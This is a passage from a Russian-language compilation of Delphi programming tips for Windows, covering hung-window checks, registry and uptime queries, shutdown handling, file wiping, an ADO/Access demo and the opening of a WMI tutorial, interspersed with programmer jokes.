IsHungThread(DWORD dwThreadId): // The thread's identifier of the main app's window
BOOL;
Unfortunately, Microsoft doesn't provide us with the exports symbols in the
User32.lib for these functions, so we should load them dynamically using the
GetModuleHandle and GetProcAddress functions:
}
// For Win9X/ME
function IsAppRespondig9X(dwThreadId: DWORD): Boolean;
type
TIsHungThread = function(dwThreadId: DWORD): BOOL; stdcall;
var
hUser32: THandle;
IsHungThread: TIsHungThread;
begin
Result := True;
hUser32 := GetModuleHandle('user32.dll');
if (hUser32 > 0) then
begin
@IsHungThread := GetProcAddress(hUser32, 'IsHungThread');
if Assigned(IsHungThread) then
begin
Result := not IsHungThread(dwThreadId);
end;
end;
end;
// For Win NT/2000/XP
function IsAppRespondigNT(wnd: HWND): Boolean;
type
TIsHungAppWindow = function(wnd:hWnd): BOOL; stdcall;
var
hUser32: THandle;
IsHungAppWindow: TIsHungAppWindow;
begin
Result := True;
hUser32 := GetModuleHandle('user32.dll');
if (hUser32 > 0) then
begin
@IsHungAppWindow := GetProcAddress(hUser32, 'IsHungAppWindow');
if Assigned(IsHungAppWindow) then
begin
Result := not IsHungAppWindow(wnd);
end;
end;
end;
function IsAppRespondig(Wnd: HWND): Boolean;
begin
if not IsWindow(Wnd) then
begin
ShowMessage('Incorrect window handle!');
Exit;
end;
if Win32Platform = VER_PLATFORM_WIN32_NT then
Result := IsAppRespondigNT(wnd)
else
Result := IsAppRespondig9X(GetWindowThreadProcessId(Wnd,nil));
end;
// Example: Check if Word is hung/responding
procedure TForm1.Button3Click(Sender: TObject);
var
Res: DWORD;
h: HWND;
begin
// Find Winword by classname
h := FindWindow(PChar('OpusApp'), nil);
if h <> 0 then
begin
if IsAppRespondig(h) then
ShowMessage('Word is responding!')
else
ShowMessage('Word is not responding!');
end
else
ShowMessage('Word is not open!');
end;
Получить информацию о регистрации Windows – имя владельца и компанию.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
Registry;
procedure GetOwnerAndCompanyName(var sOwner, sOrganization: string);
var
reg: TRegistry;
vi: TOSVersionInfo;
sWindows: string;
begin
reg := TRegistry.Create;
sWindows := '\Windows\';
try
vi.dwOSVersionInfoSize := SizeOf(vi);
getversionex(vi);
reg.RootKey := HKEY_LOCAL_MACHINE;
if (vi.dwPlatformId = VER_PLATFORM_WIN32_NT) then sWindows := '\Windows NT\';
if reg.OpenKey('Software\Microsoft' + sWindows + 'CurrentVersion', False) then
begin
// Name
sOwner := reg.ReadString('RegisteredOwner');
// Organization
sOrganization := reg.ReadString('RegisteredOrganization');
end;
finally
reg.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
sOwner, sOrganization: string;
begin
GetOwnerAndCompanyName(sOwner, sOrganization);
Edit1.Text := sOwner;
Edit2.Text := sOrganization;
end;
Окно по рисунку.
| Разбойному нападению сотрудников фирмы "Майкрософт" подверглась штаб-квартира компании "Sun". Хулиганы вышибли в здании все двери и взамен установили окна. |
TStretchHandle = class(TCustomControl)
private
procedure WMEraseBkgnd(var message: TWMEraseBkgnd); message WM_ERASEBKGND;
procedure WMGetDLGCode(var message: TMessage); message WM_GETDLGCODE;
protected
procedure Paint; override;
property Canvas;
public
procedure CreateParams(var Params: TCreateParams); override;
end;
procedure TStretchHandle.CreateParams(var Params: TCreateParams);
begin
{ set default Params values }
inherited CreateParams(Params);
{ then add transparency }
Params.ExStyle := Params.ExStyle + WS_EX_TRANSPARENT;
end;
procedure TStretchHandle.WMGetDLGCode(var message: TMessage);
begin
{ completely fake erase, don't call inherited, don't collect $200 }
message.Result := DLGC_WANTARROWS;
end;
procedure TStretchHandle.WMEraseBkgnd(var message: TWMEraseBkgnd);
begin
{ completely fake erase, don't call inherited, don't collect $200 }
message.Result := 1;
end;
procedure TStretchHandle.Paint;
begin
inherited Paint;
with Canvas do
begin
// рисуете что нужно -
// где не рисовали, там будет "прозрачно"
end;
end;
|
Определить завершение работы Windows.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
To detect a Windows Shutdown, you must trap the
WM_EndSession message.
Declare a message handling procedure in your Form's Private section.
Um herauszufinden, ob Windows heruntergefahren wird, muss
die WM_EndSession abgefangen werden.
}
type
TForm1 = class(TForm)
private
procedure WMEndSession(var Msg: TWMEndSession); message WM_ENDSESSION;
public
end;
implementation
{$R *.DFM}
procedure TForm1.WMEndSession(var Msg: TWMEndSession);
begin
if Msg.EndSession = True then
ShowMessage('Windows is shutting down!');
inherited;
end;
Как корректно перехватить сигнал выгрузки операционной системы, если в моей программе нет окна.
| Автор: Nomadic |
| Про Линукс: Сынишка подходит с дискеткой к папашке-линуксоиду и говорит: - Пап, а проиграй как мне этот .wav-ик... - Ща сынок, только в ядро поддержку саунда вкомпилю... |
Используй GetMessage(), в качестве HWND окна пиши NULL (на Паскале - 0). Если в очереди сообщений следующее - WM_QUIT, то эта функция фозвращает FALSE. Если ты пишешь программу для Win32, то запихни это в отдельный поток, организующий выход из программы.
Вывести диалог завершения работы Windows.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
To programmatically shut down Windows, you can use the ShutdownWindows method.
Running the code
}
uses ComObj;
{....}
procedure TForm1.Button1Click(Sender: TObject);
var
shell: Variant;
begin
shell := CreateOleObject('Shell.Application');
shell.ShutdownWindows;
end;
{ has the same result as clicking Shut Down in the Start menu. }
Получить информацию об используемой схеме оформления Windows.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses ComObj, SyncObjs;
var
GetCurrentThemeName: function (pszThemeFileName: LPWSTR; cchMaxNameChars: Integer;
pszColorBuff: LPWSTR; cchMaxColorChars: Integer; pszSizeBuff: LPWSTR;
cchMaxSizeChars: Integer): HRESULT; stdcall;
procedure TForm1.Button1Click(Sender: TObject);
var
FileName, ColorScheme, SizeName: WideString;
hThemeLib: THandle;
begin
try
hThemeLib := LoadLibrary('uxtheme.dll');
if hThemeLib > 0 then
GetCurrentThemeName := GetProcAddress(hThemeLib, 'GetCurrentThemeName');
if Assigned(GetCurrentThemeName) then
begin
SetLength(FileName, 255);
SetLength(ColorScheme, 255);
SetLength(SizeName, 255);
OleCheck(GetCurrentThemeName(PWideChar(FileName), 255,
PWideChar(ColorScheme), 255, PWideChar(SizeName), 255));
// show the the theme path and file name.
ShowMessage(PWideChar(FileName));
// show the color scheme name
ShowMessage(PWideChar(ColorScheme));
// show the size name
ShowMessage(PWideChar(SizeName));
end;
finally
FreeLibrary(hThemeLib);
end;
end;
Перекодировка текста из Win кодировки в КОИ-8 и обратно.
Автор: Balu WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Перекодировка текста из Win кодировки в КОИ-8 и обратно
Перекодировка текста из Win кодировки в КОИ-8 и обратно
Зависимости: НЕТ :-)
Автор: Balu, balusoft@mail.ru, Харьков
Copyright: Balu
Дата: 26 июня 2002 г.
***************************************************** }
const
Koi: array[0..66] of Char = ('T', 'Ё', 'ё', 'А', 'Б', 'В', 'Г', 'Д', 'Е', 'Ж',
'З', 'И', 'Й', 'К', 'Л', 'М', 'Н', 'О', 'П', 'Р',
'С', 'Т', 'У', 'Ф', 'Х', 'Ц', 'Ч', 'Ш', 'Щ', 'Ъ',
'Ы', 'Ь', 'Э', 'Ю', 'Я', 'а', 'б', 'в', 'г', 'д',
'е', 'ж', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о',
'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ц', 'ч', 'ш',
'щ', 'ъ', 'ы', 'ь', 'э', 'ю', 'я');
Win: array[0..66] of Char = ('ё', 'Ё', 'T', 'ю', 'а', 'б', 'ц', 'д', 'е', 'ф',
'г', 'х', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п',
'я', 'р', 'с', 'т', 'у', 'ж', 'в', 'ь', 'ы', 'з',
'ш', 'э', 'щ', 'ч', 'ъ', 'Ю', 'А', 'Б', 'Ц', 'Д',
'Е', 'Ф', 'Г', 'Х', 'И', 'Й', 'К', 'Л', 'М', 'Н',
'О', 'П', 'Я', 'Р', 'С', 'Т', 'У', 'Ж', 'В', 'Ь',
'Ы', 'З', 'Ш', 'Э', 'Щ', 'Ч', 'Ъ');
function WinToKoi(Str: string): string;
var
i, j, Index: Integer;
begin
Result := '';
for i := 1 to Length(Str) do
begin
Index := -1;
for j := Low(Win) to High(Win) do
if Win[j] = Str[i] then
begin
Index := j;
Break;
end;
if Index = -1 then
Result := Result + Str[i]
else
Result := Result + Koi[Index];
end;
end;
function KoiToWin(Str: string): string;
var
i, j, Index: Integer;
begin
Result := '';
for i := 1 to Length(Str) do
begin
Index := -1;
for j := Low(Win) to High(Win) do
if Koi[j] = Str[i] then
begin
Index := j;
Break;
end;
if Index = -1 then
Result := Result + Str[i]
else
Result := Result + Win[Index];
end;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject); begin Memo1.Text := WinToKoi(Memo2.Text); end; procedure TForm1.Button2Click(Sender: TObject); begin Memo1.Text := KoiToWin(Memo2.Text); end;
Получить время работы Windows.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function UpTime: string;
const
ticksperday: Integer = 1000 * 60 * 60 * 24;
ticksperhour: Integer = 1000 * 60 * 60;
ticksperminute: Integer = 1000 * 60;
tickspersecond: Integer = 1000;
var
t: Longword;
d, h, m, s: Integer;
begin
t := GetTickCount;
d := t div ticksperday;
Dec(t, d * ticksperday);
h := t div ticksperhour;
Dec(t, h * ticksperhour);
m := t div ticksperminute;
Dec(t, m * ticksperminute);
s := t div tickspersecond;
Result := 'Uptime: ' + IntToStr(d) + ' Days ' + IntToStr(h) + ' Hours ' + IntToStr(m) +
' Minutes ' + IntToStr(s) + ' Seconds';
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := UpTime;
end;
Удалить файл навсегда.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
If you want to get rid of a file normally you just delete it.
But someone else can undelete it if the file hasn't been wiped correctly.
For security purposes, to insure that certain files are permanently
gone, the WipeFile procedure writes over the data in the file with
random characters and then erases it.
Wenn man eine Datei nicht mehr braucht, loscht man sie einfach.
Aber jemand anders kann die Datei wieder herstellen, wenn sie
nicht "richtig" geloscht wurde.
Aus Sicherheitsgrunden, um sicherzustellen, dass eine Datei permanent
geloscht wird, uberschreibt die WipeFile Prozedur eine Datei mit
Zufalls-Zeichen und loscht sie anschliessend.
}
procedure WipeFile(FileName: string);
var
buffer: array [0..4095] of Byte;
max, n: LongInt;
i: Integer;
fs: TFileStream;
procedure RandomizeBuffer;
var
i: Integer;
begin
for i := Low(buffer) to High(buffer) do
buffer[i] := Random(256);
end;
begin
fs := TFilestream.Create(FileName, fmOpenReadWrite or fmShareExclusive);
try
for i := 1 to 3 do
begin
RandomizeBuffer;
max := fs.Size;
fs.Position := 0;
while max > 0 do
begin
if max > SizeOf(buffer) then
n := SizeOf(buffer)
else
n := max;
fs.Write(Buffer, n);
max := max - n;
end;
FlushFileBuffers(fs.Handle);
end;
finally
fs.Free;
end;
Deletefile(FileName);
end;
Подать звуковой сигнал без использования ресурсов Windows.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
This is very useful if you try to debug something without using ANY windows resources. This will cause the system to beep. Dieser Code ist nьtz1iсh, um etwas zu debuggen, ohne Windows Ressourcen zu verbrauchen. Dieser Code gibt einen Beep-Ton aus:asm mov al,7 int 29h end(Doesn''t work unter NT, Win2K) (Funktioniert nicht unter Windows NT/2000)
Без иконки в панели задач.
| Автор: Neil J. Rubenking |
| "Святой Отец Вындоуз - я продал твои иконы!!!" |
Если вы не хотите, чтобы ваше приложение имело иконку в панели задач, добавьте следующие строки в исходный код проекта:
Application.CreateHandle; ShowWindow(Application.Handle, SW_HIDE); Application.ShowMainForm := FALSE; |
Да, чуть не забыл, есть еще одна вещь. При нормальном поведении TApplication создает дескриптор и показывает окно прежде, чем далее начнет что-то "происходить". Чтобы избежать этого, вам необходимо создать модуль, содержащий единственную строчку в секции initialization:
IsLibrary := True; |
... и поместить этот модуль ПЕРВЫМ в .DPR-файле в списке используемых модулей. Этим мы "одурачиваем" TApplication, и оно думает что оно запущено из DLL, тем самым изменяя свое обычное поведение.
Как можно обойтись без TTimer и наиболее рационально использовать ресурсы системы.
Автор: Олегом Кулабухов.
procedure Delay(ms: longint);
var
TheTime: LongInt;
begin
TheTime := GetTickCount + ms;
while GetTickCount < TheTime do
Application.ProcessMessages;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('Start Test');
Delay(2000);
ShowMessage('End Test');
end;
|
Записываем в Access используя ADO.
// Читаем Access`овскую базу используя ADO
// Проверяе являеться ли файл .mdb Access
// Записываем запись в базу
// Нужны компаненты-
// TADOtable,TDataSource,TOpenDialog,TDBGrid,
// TBitBtn,TTimer,TEditTextBox
program ADOdemo;
uses Forms, uMain in 'uMain.pas' {frmMain};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TfrmMain, frmMain);
Application.Run;
end.
///////////////////////////////////////////////////////////////////
unit uMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Db, DBTables, ADODB, Grids, DBGrids, ExtCtrls, DBCtrls, StdCtrls, Buttons,
ComObj;
type
TfrmMain = class(TForm)
DBGridUsers: TDBGrid;
BitBtnClose: TBitBtn;
DSource1: TDataSource;
EditTextBox: TEdit;
BitBtnAdd: TBitBtn;
TUsers: TADOTable;
BitBtnRefresh: TBitBtn;
Timer1: TTimer;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure ConnectToAccessDB(lDBPathName, lsDBPassword: string);
procedure ConnectToMSAccessDB(lsDBName, lsDBPassword: string);
procedure AddRecordToMSAccessDB;
function CheckIfAccessDB(lDBPathName: string): Boolean;
function GetDBPath(lsDBName: string): string;
procedure BitBtnAddClick(Sender: TObject);
procedure BitBtnRefreshClick(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
function GetADOVersion: Double;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
frmMain: TfrmMain;
Global_DBConnection_String: string;
const
ERRORMESSAGE_1 = 'No Database Selected';
ERRORMESSAGE_2 = 'Invalid Access Database';
implementation
{$R *.DFM}
procedure TfrmMain.FormCreate(Sender: TObject);
begin
ConnectToMSAccessDB('ADODemo.MDB', '123'); // DBName,DBPassword
end;
procedure TfrmMain.ConnectToMSAccessDB(lsDBName, lsDBPassword: string);
var
lDBpathName: string;
begin
lDBpathName := GetDBPath(lsDBName);
if (Trim(lDBPathName) <> '') then
begin
if CheckIfAccessDB(lDBPathName) then
ConnectToAccessDB(lDBPathName, lsDBPassword);
end
else
MessageDlg(ERRORMESSAGE_1, mtInformation, [mbOK], 0);
end;
function TfrmMain.GetDBPath(lsDBName: string): string;
var
lOpenDialog: TOpenDialog;
begin
lOpenDialog := TOpenDialog.Create(nil);
if FileExists(ExtractFileDir(Application.ExeName) + '\' + lsDBName) then
Result := ExtractFileDir(Application.ExeName) + '\' + lsDBName
else
begin
lOpenDialog.Filter := 'MS Access DB|' + lsDBName;
if lOpenDialog.Execute then
Result := lOpenDialog.FileName;
end;
end;
procedure TfrmMain.ConnectToAccessDB(lDBPathName, lsDBPassword: string);
begin
Global_DBConnection_String :=
'Provider=Microsoft.Jet.OLEDB.4.0;' +
'Data Source=' + lDBPathName + ';' +
'Persist Security Info=False;' +
'Jet OLEDB:Database Password=' + lsDBPassword;
with TUsers do
begin
ConnectionString := Global_DBConnection_String;
TableName := 'Users';
Active := True;
end;
end;
// Check if it is a valid ACCESS DB File Before opening it.
function TfrmMain.CheckIfAccessDB(lDBPathName: string): Boolean;
var
UnTypedFile: file of Byte;
Buffer: array[0..19] of Byte;
NumRecsRead: Integer;
i: Integer;
MyString: string;
begin
AssignFile(UnTypedFile, lDBPathName);
reset(UnTypedFile,1);
BlockRead(UnTypedFile, Buffer, 19, NumRecsRead);
CloseFile(UnTypedFile);
for i := 1 to 19 do MyString := MyString + Trim(Chr(Ord(Buffer[i])));
Result := False;
if Mystring = 'StandardJetDB' then
Result := True;
if Result = False then
MessageDlg(ERRORMESSAGE_2, mtInformation, [mbOK], 0);
end;
procedure TfrmMain.BitBtnAddClick(Sender: TObject);
begin
AddRecordToMSAccessDB;
end;
procedure TfrmMain.AddRecordToMSAccessDB;
var
lADOQuery: TADOQuery;
lUniqueNumber: Integer;
begin
if Trim(EditTextBox.Text) <> '' then
begin
lADOQuery := TADOQuery.Create(nil);
with lADOQuery do
begin
ConnectionString := Global_DBConnection_String;
SQL.Text :=
'SELECT Number from Users';
Open;
Last;
// Generate Unique Number (AutoNumber in Access)
lUniqueNumber := 1 + StrToInt(FieldByName('Number').AsString);
Close;
// Insert Record into MSAccess DB using SQL
SQL.Text :=
'INSERT INTO Users Values (' +
IntToStr(lUniqueNumber) + ',' +
QuotedStr(UpperCase(EditTextBox.Text)) + ',' +
QuotedStr(IntToStr(lUniqueNumber)) + ')';
ExecSQL;
Close;
// This Refreshes the Grid Automatically
Timer1.Interval := 5000;
Timer1.Enabled := True;
end;
end;
end;
procedure TfrmMain.BitBtnRefreshClick(Sender: TObject);
begin
Tusers.Active := False;
Tusers.Active := True;
end;
procedure TfrmMain.Timer1Timer(Sender: TObject);
begin
Tusers.Active := False;
Tusers.Active := True;
Timer1.Enabled := False;
end;
function TfrmMain.GetADOVersion: Double;
var
ADO: OLEVariant;
begin
try
ADO := CreateOLEObject('adodb.connection');
Result := StrToFloat(ADO.Version);
ADO := Null;
except
Result := 0.0;
end;
end;
procedure TfrmMain.Button1Click(Sender: TObject);
begin
ShowMessage(Format('ADO Version = %n', [GetADOVersion]));
end;
end.
|
Работа с другим приложением без Hook и DLL на примере GetFocus.
Автор: SottNick.
На стандартной форме (Form1): Form1.FormStyle=fsStayOnTop - форма поверх остальных окон Объекты: ТАЙМЕР (Timer1) с периодом 1000 или меньше, 3 метки (Label1, Label2, Label3). назначение их см. в тексте процедуры У таймера событие OnTimer. а вот для нее обработчик:
procedure TForm1.Timer1Timer(Sender: TObject);
var
dwTargetOwner: DWORD; //указатель на подключаемый процесс
dwThreadID: DWORD; //указатель на текущий процесс
Result: longbool;
begin
{В первой метке отображается Handle активного окна}
Label1.Caption := IntToStr(GetForegroundWindow);
//указатель на подключаемое приложение
// Подключение потока другого окна
// Указатель на подключаемый процесс
dwTargetOwner := GetWindowThreadProcessId(GetForegroundWindow, nil);
dwThreadID := GetCurrentThreadId(); //указатель на текущий процесс
if (dwTargetOwner <> dwThreadID) then // если не один и тот же процесс
Result := AttachThreadInput(dwThreadID, dwTargetOwner, TRUE); //подключение
{Во второй метке отображается Handle объекта 'в фокусе' в активном окне}
Label2.Caption := IntToStr(GetFocus); //фокус в другом приложении
if (Result) then
AttachThreadInput(dwThreadID, dwTargetOwner, FALSE); //отключение
{В третей метке отображается Handle объекта 'в фокусе' в активном окне,
но если это окно другого приложения, то Handle будет равен нулю,
т.к. попытка получения Handle происходит после отключения потока}
Label3.Caption := inttostr(GetFocus); //проверка после отключения
{Эффект можно посмотреть, если запустить полученное приложение
и сделать активным другое приложение}
{Ясно, что полученный Handle объекта можно использовать
по своему разумению. Например, считать из объекта текст и т.п.}
// (C) SottNick 2000
end;
|
Как преобразовать WMF в BMP.
procedure ConvertWMF2BMP
(const WMFFileName, BMPFileName: TFileName);
var
MetaFile: TMetafile;
Bitmap: TBitmap;
begin
Metafile := TMetaFile.Create;
Bitmap := TBitmap.Create;
try
MetaFile.LoadFromFile(WMFFileName);
with Bitmap do
begin
Height := Metafile.Height;
Width := Metafile.Width;
Canvas.Draw(0, 0, MetaFile);
SaveToFile(BMPFileName);
end;
finally
Bitmap.Free;
MetaFile.Free;
end;
end;
// Использование:
ConvertWMF2BMP('c:\mypic.wmf', 'c:\mypic.bmp')
|
WMI - практика применения в Delphi.
Оформил: DeeCo
Автор: Алексей Павлов.
Содержание: Предисловие. Введение. Теория. Практика. Подготовка. Порядок действий. Примеры. Получение данных о центральном процессоре. Получение данных о запущенных процессах. Запуск приложений и выключение компьютера. Получения значений c температурных сенсоров и с установленных вентиляторов. Послесловие. Список использованной литературы. 1. Предисловие.Приветствую всех любителей Delphi! В этой статье я хочу поведать вам об одной из замечательных, с моей точки зрения, технологии, разработанной Microsoft для облегчения нашей жизни. Теперь любой программист, используя любой современный язык программирования (не исключая и скрип языков!) может с лёгкостью узнать о своём компьютере практически всё. Теперь программисты всех "вероисповеданий" могут определить, какое оборудование установлено на их компьютере, узнать информацию о материнской плате и процессоре, параметры БИОСа, какие процессы запущены в данный момент, какова температура процессора и скорость вращения кулера, какие настройки графической системы, какие.… Одним словом, все о чём вы так долго мечтали, стало доступно благодаря WMI. Звучит заманчиво, не так ли? ;)Естественно, что WMI - это не только набор параметров. А что это такое - читайте ниже.
2. Введение.Для того, чтобы не лишиться большей части потенциальных читателей на начальном этапе, скажу сразу, что применение Windows Management Instrumentation (WMI) я буду рассматривать в основном с практической точки зрения (т.е. теории в этой статье будет немного). Сразу хочу оговориться, что т.к. я собираюсь осветить вопрос практического использования технологии WMI в Delphi и намериваюсь достигнуть этой цели достаточно быстро, то я не стану разжёвывать все, с чем нам придётся сталкиваться по ходу повествования и ограничусь минимумом теории. Так что материал изначально ориентирован на тех читателей, кто уверено чувствует себя в области применения интерфейсов, технологии COM и кто умеет работать с литературой.Так же, я не стану излагать всю теорию, непосредственно связанную с технологией WMI, т.к. во-первых, это достаточно утомительно, а во-вторых, это уже сделано в лучшем виде, и заниматься перепечатыванием не имеет смысла. Итак, дальнейшее прочтение статьи и использование прилагаемых к ней примеров возможно и без понимания самой сути WMI, но, согласитесь, смысла в этом чуть. Так что очень рекомендую прочитать следующее:
"Внутри Windows Management Interface". "Сценарии WMI для начинающих" Примечание: : авторы статьи "Внутри Windows Management Interface" интерпретируют аббревиатуру WMI как Windows Management Interface, хотя сами создатели (фирма Microsoft) придерживаются следующей трактовки: Windows Management Instrumentation, что в общем говоря правильнее. Но и интерпретация буквы "I", как "Interface", а не как " Instrumentation " вполне понятна и простительна, т.к. многие разработчики рассматривают WMI не иначе как набор интерфейсов, позволяющих получать доступ к определённым компонентам системы. Надеюсь, что предложенные мной к прочтению статьи были прочитаны и поняты, т.к. дальнейшие повествование подразумевает собой понимание структуры WMI и назначения всех её составляющих. Все даваемые мной ниже пояснения всего лишь дополнение к общей теории, а даваемые определения - дополнения к тем, что были даны в вышеупомянутых статьях (или же умышленно утрированные для акцентирования внимания на наиболее важных для понимания моментах). Если же вы прочли вышеперечисленные статьи и всё чётко поняли, то вас не запутают и не введут в заблуждение мои, не претендующие на непогрешимость и полноту, определения :) Итак, начали.[ К содержанию ].
3. Теория.
Windows Management Instrumentation (WMI) - технология, входящая в состав ядра Windows 2000 и предоставляющая доступ с помощью интерфейсов к объектам системы.
Представлю несколько упрощённую архитектуру WMI в том виде, в котором она нас будет интересовать в нашем конкретном случае. Быстро пробежимся по всем её компонентам.
Объекты Win32 - с этим элементом ассоциированы компоненты Win32, к данным которых мы желаем получить доступ Провайдер Win32 - представители объектов Win32, т.е. провайдер осуществляет связь между "внешним миром" и компонентами системы. Нас провайдеры будут интересовать как COM (DCOM) серверы, которые могут быть реализованы как внутренние (в виде DLL), так и внешние (в виде самостоятельных приложений). CIM Object Manager - попросту говоря, это служба координации данных передаваемых в обоих направлениях (будь то запрос от управляющей программы к провайдеру или данные предоставляемые провайдером приложению). Классы CIM - вернее база данных, содержащая классы, которые есть не что иное, как шаблоны управляемых элементов, т.е. каждый класс описывает какой-то элемент и содержит свойства и методы для работы с этим элементом. Windows Management API - интерфейс прикладного программирования, по средствам которого управляющие приложения обращаются к объектам, а провайдеры поставляют данные и определения класса. Наша программа является в данном случае не чем иным как контроллером, работающим с помощью Windows Management API с провайдерами (серверами).На этом я закончу теоретическое вступление и перейду к практической части.
[ К содержанию ].
4. Практика.Подготовка.
Итак, начнём с того, что нам необходимо сделать перед тем, как непосредственно начать использовать мощь технологии WMI в своих программах: установить систему Windows 2000 или NT 4.0 SP4 и выше; установить Microsoft Internet Explorer (IE) 5.0 и выше; установить WMI SDK; После того, как вы установили WMI SDK, импортируйте следующие библиотеки типов: Active DS Type Library (Version 1.0) Microsoft WMI Scripting v1.1 Library (Version 1.1) Отлично, теперь в палитре компонентов у вас появились новые элементы, которые мы и будем в дальнейшем использовать.Порядок действий.
Первым делом нам необходимо подсоединиться к интересующему нас пространству имён. Для данной цели используется интерфейс IWbemLocator и его единственный метод ConnectServer, который позволит нашей программе (в данном случае наша программа является WMI клиентом) получить указатель на интерфейс IWbemServices, который связан с выбранным нами пространством имён на выбранном нами компьютере (не стоит забывать, что технология WMI основана на COM/DCOM, что позволяет использовать её удалённо). Методы объектов типа SWbemServices предназначены для произведения операций в выбранном пространстве имён. Да, надеюсь, вы знаете, где можно посмотреть имя интересующего вас пространства имён и WMI класса, если нет, то перечитываем предложенные к прочтению статьи или открываем WMI SDK и просматриваем раздел Win32 Classes. После того, как мы подсоединились к выбранному нами пространству имён и получили указатель на объект, связанный с данным пространством имён, нам необходимо получить описание интересующего нас класса в выбранном нами пространстве имён (возможно, звучит мудрёно, но на практике всё гораздо проще, в чём вы скоро сами убедитесь). Для этого воспользуемся методом Get объекта SWbemServices, который вернёт описание (definition) указанного нами класса (на этом этапе вы уже можете считать имена свойств класса и названия поддерживаемых им методов, естественно, все свойства будут содержать null; так же вы можете создать свой класс на базе полученного описания и дополнить его своими свойствами и методами). Таким образом, мы получим указатель на объект типа SWbemObject. Затем нам необходимо получить непосредственно экземпляр (instance) класса, описание которого мы получили. Для этого воспользуемся методом Instances_ объекта SWbemObject, который создаст объект, осуществляющий нумерацию всех экземпляров (instances) данного класса типа SWbemObjectSet. Говоря по-русски, будет создана коллекция всех объектов данного класса. Полученный объект SWbemObjectSet будет содержать объекты SWbemObject. Вот собственно и всё. Получив из объекта SWbemObjectSet экземпляр класса, нам остаётся считать его свойства и воспользоваться его методами. Теперь перейдём к рассмотрению самих примеров. Вашему вниманию будут предложены четыре примера, полные исходные тексты и рабочие exe-файлы которых вы найдёте в прилагаемом к статье архиве.[ К содержанию ].
5. Примеры.5.1. Получение данных о центральном процессоре.
Этот первый пример я старался сделать как можно нагляднее и разберу я его достаточно подробно. В остальных же 3-х примерах я не буду повторяться в комментариях, а постараюсь продемонстрировать некоторые приёмы, которые, возможно, помогут вам в дальнейшем в ваших собственных программах.Создаём новый проект и добавляем к нему компоненту TSWbemLocator, которая должна появиться в палитре компонент после импортирования указанных выше библиотек типов. Далее я буду давать комментарии непосредственно в коде программы.
unit Unit1;
interface
uses
…, WbemScripting_TLB, OleServer, ActiveX;
type
TForm1 = class(TForm)
…
SWbemLocator1: TSWbemLocator;
…;
private
{ Private declarations }
procedure ShowProp(SProp: SWBemProperty);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
Service: ISWbemServices;
ObjectSet: ISWbemObjectSet;
SObject: ISWbemObject;
PropSet: ISWbemPropertySet;
SProp: ISWbemProperty;
PropEnum, Enum: IEnumVariant;
TempObj: OleVariant;
Value: Cardinal;
StrValue: string;
begin
// см. Примечание 1
Service := SWbemLocator1.ConnectServer('.', 'root\CIMV2', '', '', '', '', 0,
nil);
// см. Примечание 2
SObject := Service.Get('Win32_Processor', wbemFlagUseAmendedQualifiers, nil);
// см. Примечание 3
ObjectSet := SObject.Instances_(0, nil);
{
Далее нам нужно из коллекции ObjectSet получить экземпляр объекта,
соответствующий классу Win32_Processor.
Делается это с помощью метода Item объекта ObjectSet.
В качестве первого параметра этого метода указывается путь к объекту,
экземпляр которого вы желаете извлечь из коллекции.
Данный метод возвращает объект типа SWbemObject. Но нам не известно, как выглядит этот путь.
Использовать дополнительный класс SwbemObjectPath тоже нет никакого желания.
Так что делаю "финт ушами":
}
// SObject:= ObjectSet.Item('???', 0);
Enum := (ObjectSet._NewEnum) as IEnumVariant;
Enum.Next(1, TempObj, Value);
SObject := IUnknown(TempObj) as SWBemObject;
{
Полагаю, что данный приём понятен читателю и в комментариях не нуждается.
Вот практически и всё - осталось прочитать интересующие нас свойства.
Сколько было слов и как всё просто оказалось в действительности :)
Перебираем свойства объекта SObject:
}
while (PropEnum.Next(1, TempObj, Value) = S_OK) do
begin
SProp := IUnknown(TempObj) as SWBemProperty;
StrValue := '';
ListBox1.AddItem(SProp.Name, nil);
ShowProp(SProp);
end;
end;
procedure TForm1.ShowProp(SProp: SWBemProperty);
begin
if (SProp.Get_Value < > null) then
begin
with SProp do
begin
if Name = 'Name' then
Label2.Caption := Get_Value
else if Name = 'Manufacturer' then
….
end; { with }
end; { if }
end;
end.
Пояснения к коду:
Примечание 1 Подсоединяемся к пространству имён 'root\CIMV2' нашего компьютера. Метод ConnectServer принимает следующие параметры: objwbemServices = ConnectServer( [strServer = ""], [strNameSpace = ""], [strUser = ""], [strPassword = ""], [strLocale = ""], [strAuthority = ""], [iSecurityFlags = 0], [objwbemNamedValueSet = null] )strServer - необязательный к указанию параметр, содержащий имя компьютера к пространству имён которого вы желаете подключиться. Если не указан, имеется в виду данный компьютер; strNameSpace - необязательный к указанию параметр, содержащий строку, указывающую к какому пространству имён вы собираетесь подключиться. Если не указан, то устанавливается в значение по умолчанию. StrUser - необязательный к указанию параметр, содержащий строку с именем пользователя, которое будет использовано при подключении. При применении на локальной машине должна содержать нулевую строку. Применяется только при подключении к удалённой машине. StrPassword - см. StrUser. StrLocale - необязательный к указанию параметр, содержащий код местности (localization code). Должен содержать нулевую строку для применения действующего кода местности. StrAuthority - необязательный к указанию параметр, предназначенный для работы в сетях с системой Kerberos. ISecurityFlags - необязательный к указанию параметр. Если содержит 0, то метод ConnectServer вернёт результат только после того, как соединение с сервером будет 